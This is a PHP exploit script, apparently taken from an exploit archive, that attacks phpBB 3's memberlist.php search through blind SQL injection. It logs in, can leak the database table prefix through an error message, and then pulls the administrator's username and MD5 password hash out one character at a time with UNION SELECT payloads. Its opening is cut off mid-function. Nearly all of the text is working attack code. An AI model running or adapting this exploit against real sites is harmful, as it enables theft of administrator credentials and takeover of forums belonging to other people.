===================================================== phpBB 3 (memberlist.php) Remote SQL Injection Exploit ===================================================== #!/usr/bin/php -q -d short_open_tag=on 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } $host=$argv[1]; $path=$argv[2]; $user=$argv[3]; $pass=$argv[4]; $port=80; $prefix="PHPBB_"; $user_id="2";//admin $discl=0; $proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } if ($temp=="-u") { $user_id=str_replace("-u","",$argv[$i]); } if ($temp=="-x") { $discl=1; } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $data="username=".urlencode($user); $data.="&password=".urlencode($pass); $data.="&redirect=index.php"; $data.="&login=Login"; $packet="POST ".$p."ucp.php?mode=login HTTP/1.0\r\n"; $packet.="Referer: http://$host$path/ucp.php?mode=login\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); $cookie=""; $temp=explode("Set-Cookie: ",$html); for ($i=1; $i<=count($temp)-1; $i++) { $temp2=explode(" ",$temp[$i]); $cookie.=" ".$temp2[0]; } if (eregi("_u=1;",$cookie)) { //echo $html."\n";//debug //die("Unable to login..."); } echo "cookie -> ".$cookie."\r\n"; if ($discl) { $sql="'suntzuuuuu"; echo "sql -> ".$sql."\n"; $sql=urlencode(strtoupper($sql)); $data="username="; $data.="&icq="; $data.="&email="; $data.="&aim="; $data.="&joined_select=lt"; $data.="&joined="; $data.="&yahoo="; $data.="&active_select=lt"; $data.="&active="; $data.="&msn="; $data.="&count_select=eq"; $data.="&count="; $data.="&jabber="; $data.="&sk=c"; $data.="&sd=a"; $data.="&ip=".$sql; $data.="&search_group_id=0"; $data.="&submit=Search"; $packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cookie: ".$cookie." \r\n\r\n"; $packet.=$data; sendpacketii($packet); if (strstr($html,"You have an error in your SQL syntax")) { $temp=explode("posts",$html); $temp2=explode(" ",$temp[0]); $prefix=strtoupper($temp2[count($temp2)-1]); echo "prefix -> ".$prefix."\n";sleep(2); } } $md5s[0]=0;//null $md5s=array_merge($md5s,range(48,57)); //numbers $md5s=array_merge($md5s,range(97,102));//a-f letters //print_r(array_values($md5s)); $j=1;$password=""; while (!strstr($password,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$md5s)) { $sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USER_PASSWORD,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999"; echo "sql -> ".$sql."\n"; $sql=urlencode(strtoupper($sql)); $data="username="; $data.="&icq="; $data.="&email="; $data.="&aim="; $data.="&joined_select=lt"; $data.="&joined="; $data.="&yahoo="; $data.="&active_select=lt"; $data.="&active="; $data.="&msn="; $data.="&count_select=eq"; $data.="&count="; $data.="&jabber="; $data.="&sk=c"; $data.="&sd=a"; $data.="&ip=".$sql; $data.="&search_group_id=0"; $data.="&submit=Search"; $packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cookie: ".$cookie." \r\n\r\n"; $packet.=$data; sendpacketii($packet); if (!strstr($html,"No members found for this search criteria")) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;} } if ($i==255) {die("Exploit failed...");} } $j++; } $j=1;$admin=""; while (!strstr($admin,chr(0))) { for ($i=0; $i<=255; $i++) { $sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USERNAME,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999"; echo "sql -> ".$sql."\n"; $sql=urlencode(strtoupper($sql)); $data="username="; $data.="&icq="; $data.="&email="; $data.="&aim="; $data.="&joined_select=lt"; $data.="&joined="; $data.="&yahoo="; $data.="&active_select=lt"; $data.="&active="; $data.="&msn="; $data.="&count_select=eq"; $data.="&count="; $data.="&jabber="; $data.="&sk=c"; $data.="&sd=a"; $data.="&ip=".$sql; $data.="&search_group_id=0"; $data.="&submit=Search"; $packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cookie: ".$cookie." \r\n\r\n"; $packet.=$data; sendpacketii($packet); if (!strstr($html,"No members found for this search criteria")) {$admin.=chr($i);echo "password -> ".$admin."[???]\r\n";sleep(2);break;} } if ($i==255) {die("Exploit failed...");} $j++; } echo "--------------------------------------------------------------------\r\n"; echo "admin -> ".$admin."\r\n"; echo "password (md5) -> ".$password."\r\n"; echo "--------------------------------------------------------------------\r\n"; function is_hash($hash) { if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} else {return false;} } if (is_hash($password)) {echo "Exploit succeeded...";} else {echo "Exploit failed...";} ?> # 0day.today [2018-02-19] #

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